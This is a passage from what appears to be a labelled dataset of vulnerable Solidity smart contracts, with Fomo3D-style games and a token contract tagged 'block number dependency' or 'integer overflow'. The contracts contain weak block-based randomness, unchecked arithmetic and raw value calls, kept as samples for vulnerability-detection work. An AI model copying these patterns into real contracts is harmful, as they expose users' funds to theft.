hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(PCKdatasets.EventReturns memory _eventData_) private returns (PCKdatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, PCKdatasets.EventReturns memory _eventData_) private returns (PCKdatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function nextRound() private { rID_++; round_[rID_].strt = now; round_[rID_].end = now.add(rndInit_).add(rndGap_); } function endRound(PCKdatasets.EventReturns memory _eventData_) private returns (PCKdatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); if (!address(Pro_Inc).call.value(_com)(bytes4(keccak256(""deposit()"")))) { _p3d = _p3d.add(_com); _com = 0; } round_[_rID].mask = _ppt.add(round_[_rID].mask); if (_p3d > 0) PCGod.deposit.value(_p3d)(); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.PCPAmount = _p3d; _eventData_.newPot = _res; _rID++; round_[_rID].ended = false; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID, uint256 _eth) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); uint256 _newEndTime; if (_newTime < (rndMax_).add(_now)) _newEndTime = _newTime; else _newEndTime = rndMax_.add(_now); if ( _eth >= rndReduceThreshold_ ) { _newEndTime = (_newEndTime).sub( (((_keys) / (1000000000000000000))).mul(rndInc_).add( (((_keys) / (2000000000000000000) ).mul(rndInc_)) ) ); if( _newEndTime < _now + rndMin_ ) _newEndTime = _now + rndMin_ ; } round_[_rID].end = _newEndTime; } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, PCKdatasets.EventReturns memory _eventData_) private returns(PCKdatasets.EventReturns) { uint256 _com = _eth / 50; uint256 _p3d; if (!address(Pro_Inc).call.value(_com)(bytes4(keccak256(""deposit()"")))) { _p3d = _com; _com = 0; } uint256 _long = _eth / 100; otherPCK_.potSwap.value(_long)(); uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit PCKevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _aff; } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { PCGod.deposit.value(_p3d)(); _eventData_.PCPAmount = _p3d.add(_eventData_.PCPAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit PCKevents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, PCKdatasets.EventReturns memory _eventData_) private returns(PCKdatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, PCKdatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit PCKevents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.PCPAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require( msg.sender == admin, ""only team just can activate"" ); require(address(otherPCK_) != address(0), ""must link to other PCK first""); require(activated_ == false, ""PCK already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } function setOtherPCK(address _otherPCK) public { require( msg.sender == admin, ""only team just can activate"" ); require(address(otherPCK_) == address(0), ""silly dev, you already did that""); otherPCK_ = otherPCK(_otherPCK); } } library PCKdatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 PCPAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library PCKKeysCalcLong { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface otherPCK { function potSwap() external payable; } interface PCKExtSettingInterface { function getFastGap() external view returns(uint256); function getLongGap() external view returns(uint256); function getFastExtra() external view returns(uint256); function getLongExtra() external view returns(uint256); } interface PlayCoinGodInterface { function deposit() external payable; } interface ProForwarderInterface { function deposit() external payable returns(bool); function status() external view returns(address, address, bool); function startMigration(address _newCorpBank) external returns(bool); function cancelMigration() external returns(bool); function finishMigration() external returns(bool); function setup(address _firstCorpBank) external; } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 799.sol,"pragma solidity ^0.4.24; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract BlockchainMoneyEngine is Pausable { address public owner; string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function BlockchainMoneyEngine( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; owner = msg.sender; } function setName(string _name) onlyOwner() public { name = _name; } function setSymbol(string _symbol) onlyOwner() public { symbol = _symbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function destruct() public { if (owner == msg.sender) { selfdestruct(owner); } } function transfer(address _to, uint256 _value) public whenNotPaused { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; emit Burn(_from, _value); return true; } }",./Dataset/integer overflow (OF)/,4,4 3315.sol,"pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularShort is F3Devents {} contract F3DPLUS is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x4Cc47443f9452b64CC5923EDA771BB7f6E505BB4); address private admin = msg.sender; string constant public name = ""f3dplus""; string constant public symbol = ""f3dplus""; uint256 private rndExtra_ = 0; uint256 private rndGap_ = 2 minutes; uint256 constant private rndInit_ = 8 minutes; uint256 constant private rndInc_ = 1 seconds; uint256 constant private rndMax_ = 10 minutes; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(22,6); fees_[1] = F3Ddatasets.TeamFee(38,0); fees_[2] = F3Ddatasets.TeamFee(52,10); fees_[3] = F3Ddatasets.TeamFee(68,8); potSplit_[0] = F3Ddatasets.PotSplit(15,10); potSplit_[1] = F3Ddatasets.PotSplit(25,0); potSplit_[2] = F3Ddatasets.PotSplit(20,20); potSplit_[3] = F3Ddatasets.PotSplit(30,10); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if 